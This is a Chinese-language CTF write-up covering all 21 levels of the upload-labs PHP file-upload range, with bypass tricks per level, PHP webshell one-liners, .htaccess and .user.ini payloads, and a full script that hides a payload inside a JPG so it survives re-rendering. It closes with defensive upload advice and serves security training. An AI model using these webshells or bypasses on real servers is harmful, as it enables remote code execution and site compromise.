upload-labs 全21关 write-up
upload-labs
從經典靶場入手,看文件上傳發展經歷
下載
upload-labs是一個使用php語言編寫的,專門收集滲透測試和CTF中遇到的各種上傳漏洞的靶場。旨在幫助大家對上傳漏洞有一個全面的了解。目前一共20關,每一關都包含著不同上傳方式。
下載地址:https://github.com/c0ny1/upload-labs/releases
在 win 環境下 直接解壓到phpstudy下即可
繞過方式
從以下練習中提煉出文件上傳的繞過方式
上傳文件類型不收限制
前端Javascript校驗 - Burp抓包改包繞過
利用缺陷的文件上傳驗證
黑名單過濾后綴 - 通過雙寫繞過
文件內容檢查 - 通過添加允許文件頭格式繞過
通過條件競爭實現文件上傳
練習
靶場練習主要針對后端檢查繞過,從黑白名單,后端檢查的內容和代碼邏輯幾個方面提出不同的繞過方式
有些繞過方式較為久遠,我就簡單介紹,其他可以在現階段使用的上傳手法給予較多的關注
Pass-1 Javascript 前端檢查
一般 都是通過 JS 限制上傳的文件類型,對于這種情況,我們可以采用以下幾種方式繞過
- 修改JS文件
- 上傳png后綴的webshell,代理抓包,修改上傳的文件后綴 (推薦)
- 禁用js
靶場實戰
burp 修改上傳文件名的位置
獲取到圖片位置,通過GET方式傳入 cmd 參數來獲取執行系統命令
Pass-2 文件類型檢查有缺陷
對文件類型檢查有缺陷-檢查Content-Type標頭是否與MIME 類型匹配。
繞過方式:
Pass-3 黑名單限制不完全
對于黑名單限制上傳文件后綴的 可以通過以下幾種方式繞過
靶機實戰
Pass-4 .htaccess 擴展后綴名
測試上傳的后綴, php1 php2 php3 都不行,后綴被限制了,嘗試上傳 .htaccess 添加擴展后綴
上傳 .htaccess 內容為:AddType application/x-httpd-php .l33t
上傳 webshell.l33t 內容為:<?php @system($_GET['cmd']); ?>
訪問文件,執行webshell
Pass-5 .user.ini
本關在上傳目錄下存在readme.php的php文件,可以利用 .user.ini 文件 使得運行 readme.php 時 包含上傳的圖片,相當于readme.php也有webshell.php。
user.ini
auto_prepend_file=web.jpgweb.jpg
<?php @eval($_GET['cmd']) ?>Pass-6 大小寫繞過
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);服務器端檢查后綴時忽略了對大小寫的檢測,故可以通過大寫后綴繞過
Pass-7 黑名單限制不完全- 空格
if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5"," .......,".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA后端檢測沒有去掉首尾空格,于是上傳 shell.php+空格
Pass-8 黑名單限制不完全 - 點
源碼中沒有過濾 .
上傳時文件名為webshell.php.,繞過對后綴的檢查
Pass-9 黑名單限制不完全 - ::$DATA
源碼中未對 ::$DATA 過濾
在window的時候如果文件名+"::DATA"會把::DATA"會把::DATA"會把::DATA之后的數據當成文件流處理,不會檢測后綴名,且保持::$DATA之前的文件名,他的目的就是不檢查后綴名
例如:“webshell.php::DATA"Windows會自動去掉末尾的::DATA"Windows會自動去掉末尾的::DATA"Windows會自動去掉末尾的::DATA變成"webshell.php”
上傳 webshell.php::$DATA
服務端會創建對應的php文件
Pass-10 黑名單限制不完全 - 過濾不全
$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空使用 deldot() 刪除文件名末尾的點
deldot() 函數從末尾向前檢測,檢測到第一個點后,會繼續向前檢測,但遇到空格會停下來
可以構造文件名: webshell.php. . 繞過檢測
Pass-11 黑名單限制不完全 - 雙寫繞過
$deny_ext = array("......");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;源碼中 使用 str_ireplace 不區分大小寫替換,只是替換了一次,我們可以利用雙寫繞過檢查
上傳文件名 :webshell.p.phphp
上傳時會被刪除 .php
最后的上傳文件名: webshell.php
Pass-12 上傳路徑可控
條件: php版本 < 5.3.4 ; magic_quotes_gpc=Off
strrpos(string,find,start) 函數查找字符串在另一字符串中最后一次出 現的位置(區分大小寫)。
substr(string,start,length) 函數返回字符串的一部分**(從start開始 ,長度為 length)*
$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;源碼中對后綴進行白名單檢測,只允許 jpg ,png,gif
但上傳的路徑可控,這里可以使用 %00截斷
Pass-13 上傳路徑可控2
$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;路徑可控位置在POST 數據中
在burp 中 hex 請求數據中,修改php后的字節為00,
POST 不會對數據自動解碼,所以修改HEX 中內容
Pass-14 文件內容檢測
源碼讀取前2個字節判斷上傳文件的類型,判斷通過后,便重新給文件賦予新的后綴名
在這一關,除了上傳,還存在一個 include.php文件,存在文件包含漏洞,可以利用文件包含漏洞請求上傳的文件
構造:include.php?file=upload/shell.jpg ,include 會以本文的形式讀取shell.jpg的內容,這樣存在于shell.jpg里的一句話木馬就可以執行
圖片文件頭格式:
文件頭部格式:https://blog.csdn.net/xiangshangbashaonian/article/details/80156865
PNG文件頭: 89 50 4E 47 0D 0A 1A 0A
JPG文件頭: FF D8 FF
GIF (gif)文件頭:47494638
Pass-15 文件內容檢測
image_type_to_extension 根據指定的圖像類型返回對應的后綴名
和Pass-14 做法一致
Pass-16 文件內容檢測
exif_imagetype() 判斷一個圖像的類型,讀取一個圖像的第一個字節并檢查其簽名。
本函數可用來避免調用其它 exif 函數用到了不支持的文件類型上或和 [$_SERVER’HTTP_ACCEPT’] 結合使用來檢查瀏覽器是否可以顯示某個指定的圖像。
需要開啟 php_exif模塊
做法和Pass-14 一致
Pass-17 二次渲染
上傳的圖片和上傳后的圖片大小不一致,斷定這里存在圖片二次渲染
繞過方法:測試圖片的渲染后沒有修改的位置,將一句話木馬添加進去,這樣就可以利用文件包含去執行php一句話木馬了
對于GIF 的上傳,只需要判斷沒有修改的位置,然后將php一句話木馬添加即可
對于PNG的上傳,需要修改PLTE數據塊或者修改IDAT數據塊,
這里可以利用別人寫好的腳本,將php一句話 <?=$_GET[0]($_POST[1])?>,一句話利用了php短開標簽
另一個要注意的點,0 這里不用使用eval,eval是一個語言構造器,而不是一個函數,不能被可變函數調用;
對于JPG 的上傳
命令: php jpg_paload.php 1.jpg
1.jpg 為正常的圖片,執行后得到新的payload_1.jpg 為添加php一句話木馬后的
<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=phpinfo();?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}?>另一個方式:
在move_uploaded_file($tmpname,$target_path)返回true的時候,就已經成功將圖片馬上傳到服務器了,
所以我們可以利用這個上傳的間隙去執行php文件,實現繞過。
Pass-18 條件競爭
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允許上傳.jpg|.png|.gif類型文件!";unlink($upload_file);源碼中的邏輯:這里先將文件上傳到服務器,然后通過rename修改名稱,再通過unlink刪除文件,因此可以通過條件競爭的方式在unlink之前,訪問webshell。
條件競爭漏洞:由于服務器端在處理不同的請求時是并發進行的,因此如果并發處理不當或相關操作順序設計的不合理時,將會導致此類問題的發生
觸發:
將上傳頁面和文件包含觸發漏洞頁面發送到Burp的intruder,然后payload設置為null,即可觸發條件競爭漏洞
Pass-19 條件競爭漏洞
對文件后綴名做了白名單判斷,然后會一步一步檢查文件大小、文件是否存在等等,將文件上傳后,對文件重新命名,同樣存在條件競爭的漏洞。可以不斷利用burp發送上傳圖片馬的數據包,由于條件競爭,程序會出現來不及rename的問題,從而上傳成功
在這一關要注意上傳后的文件名:uploadxxx.jpg
成功上傳還沒重命名的,通過include.php實現包含
Pass-20 文件名可控
save_name 可控,可以通過 .,空格,00截斷繞過對后綴的判斷,
Pass-21多個條件繞過
if(!empty($_FILES['upload_file'])){//檢查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上傳該類型文件!";}else{//檢查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上傳該后綴文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上傳成功!";源碼邏輯:
故:
上傳 webshell.php, 修改save_name 為數組 繞過對file的切割,最后file 的切割,最后file的切割,最后file 最后一個元素是 save_name[2] = jpg 繞過后綴檢測 , 然后reset($file) = webshell.php
$file[1] 沒有定義為空,count($file) 的值為$file[count($file) - 1] = $file[1]
所以最后上傳的文件為webshell.php
文件上傳總結
允許用戶上傳文件是司空見慣的事,只要您采取正確的預防措施,就不一定會有危險。一般來說,保護您自己的網站免受這些漏洞影響的最有效方法是實施以下所有做法:
- 根據允許擴展名的白名單而不是禁止擴展名的黑名單檢查文件擴展名
- 確保文件名不包含任何可能被解釋為目錄或遍歷序列 ( …/) 的子字符串。
- 重命名上傳的文件以避免可能導致現有文件被覆蓋的沖突。
- 在完全驗證之前不要將文件上傳到服務器的永久文件系統。
- 盡可能使用已建立的框架來預處理文件上傳,而不是嘗試編寫自己的驗證機制。
文章首發于個人微信公眾號:石頭安全
總結
以上是生活随笔為你收集整理的upload-labs 全21关 write-up的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: android adb日志过滤包名,an
- 下一篇: Velocity之vm页面注释